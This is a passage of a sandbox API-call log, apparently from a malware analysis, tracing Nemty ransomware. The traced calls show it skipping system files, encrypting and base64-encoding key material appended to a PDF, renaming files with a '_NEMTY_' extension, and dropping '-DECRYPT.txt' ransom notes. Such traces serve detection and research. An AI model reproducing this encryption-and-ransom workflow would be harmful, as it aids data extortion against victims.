[0171.704] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntuser.dat") returned -1 [0171.704] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="desktop.ini") returned -1 [0171.704] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="CONFIG.SYS") returned 1 [0171.704] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="RECYCLER") returned -1 [0171.704] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="BOOTSECT.BAK") returned 1 [0171.704] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="bootmgr") returned 1 [0171.704] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="programdata") returned -1 [0171.704] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="appdata") returned 1 [0171.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.704] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0171.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0171.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0171.705] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.705] Sleep (dwMilliseconds=0x5) [0171.707] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19fe0350, dwHighDateTime=0x1d561e8)) [0171.707] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x19fe0350, dwHighDateTime=0x1d561e8)) [0171.707] GetLastError () returned 0x0 [0171.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.707] GetLastError () returned 0x0 [0171.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.707] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0171.707] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0171.707] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0171.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0171.707] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e5dc | out: pszString="URNyaLOcUxtEAcaSIH7yAie8ey7L6wzZlkTzNaIfGEN/wv8a0PnPhka1OSbiT1GM\r\nlYv9ZySoseS23YJ0ZnVIrVWR/68PuEmEexru7Cd3kPh+ahaXWllxHqX0a5jRQDgr\r\nPAfTpA8/tXXnCJlYTD1lZ+PtzG4dO/1saakMPcYcSPVx7NLWwiO24MbIQa9hjPsp\r\nehhp4aaRJrs/vq85EH6dWz6q9Ju/rg5d3DIfwCBgEGkCPLHP9qtvl48XhSHV4tgs\r\nAb2xWWihaKT0PWdMx6FAzBlmSABS3I/xnFwgDE8poHZ1+T8Eg8YW7Gvwe8F67eC5\r\n96BrO0TbbqfwirVgPNPyyw==\r\n", pcchString=0x653e5dc) returned 1 [0171.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0171.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.708] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.708] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=66552) returned 1 [0171.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x103f0) returned 0x6352c48 [0171.708] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.708] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x103f0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x103f0, lpOverlapped=0x0) returned 1 [0171.714] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.714] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x103f0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x103f0, lpOverlapped=0x0) returned 1 [0171.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.714] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=66552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x103f8 [0171.714] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340198*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340198*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.714] CloseHandle (hObject=0x3b0) returned 1 [0171.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0171.714] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.715] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0171.715] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0171.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0171.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.715] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\DefaultID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\defaultid.pdf._nemty_kgobjgd_")) returned 1 [0171.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0171.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0171.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.715] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19f6df30, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x19f6df30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19f94090, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0171.715] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0171.715] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0171.715] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0171.715] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0171.715] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0171.716] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0171.716] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0171.716] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0171.716] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0171.716] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0171.716] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.716] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.716] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0171.716] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.716] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0171.716] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0171.716] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0171.716] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0171.716] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0171.716] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0171.716] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0171.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.716] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.716] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0171.716] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.716] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0171.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.716] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.716] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.716] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0171.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.717] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19f6df30, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x19f6df30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19f94090, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0171.717] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0171.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0171.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.717] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="JPN", cAlternateFileName="")) returned 1 [0171.717] lstrcmpiW (lpString1="JPN", lpString2=".") returned 1 [0171.717] lstrcmpiW (lpString1="JPN", lpString2="..") returned 1 [0171.717] lstrcmpiW (lpString1="JPN", lpString2="...") returned 1 [0171.717] lstrcmpiW (lpString1="JPN", lpString2="windows") returned -1 [0171.717] lstrcmpiW (lpString1="JPN", lpString2="$RECYCLE.BIN") returned 1 [0171.717] lstrcmpiW (lpString1="JPN", lpString2="rsa") returned -1 [0171.717] lstrcmpiW (lpString1="JPN", lpString2="NTDETECT.COM") returned -1 [0171.717] lstrcmpiW (lpString1="JPN", lpString2="ntldr") returned -1 [0171.717] lstrcmpiW (lpString1="JPN", lpString2="MSDOS.SYS") returned -1 [0171.717] lstrcmpiW (lpString1="JPN", lpString2="IO.SYS") returned 1 [0171.717] lstrcmpiW (lpString1="JPN", lpString2="boot.ini") returned 1 [0171.717] lstrcmpiW (lpString1="JPN", lpString2="boot.ini") returned 1 [0171.717] lstrcmpiW (lpString1="JPN", lpString2="AUTOEXEC.BAT") returned 1 [0171.717] lstrcmpiW (lpString1="JPN", lpString2="ntuser.dat") returned -1 [0171.717] lstrcmpiW (lpString1="JPN", lpString2="desktop.ini") returned 1 [0171.717] lstrcmpiW (lpString1="JPN", lpString2="CONFIG.SYS") returned 1 [0171.717] lstrcmpiW (lpString1="JPN", lpString2="RECYCLER") returned -1 [0171.717] lstrcmpiW (lpString1="JPN", lpString2="BOOTSECT.BAK") returned 1 [0171.717] lstrcmpiW (lpString1="JPN", lpString2="bootmgr") returned 1 [0171.717] lstrcmpiW (lpString1="JPN", lpString2="programdata") returned -1 [0171.717] lstrcmpiW (lpString1="JPN", lpString2="appdata") returned 1 [0171.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JPN", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JPN", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JPN", lpUsedDefaultChar=0x0) returned 3 [0171.718] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JPN", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.718] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JPN", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JPN", lpUsedDefaultChar=0x0) returned 3 [0171.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0171.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63400d0 [0171.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.718] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.718] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0171.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0171.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.718] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.718] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, 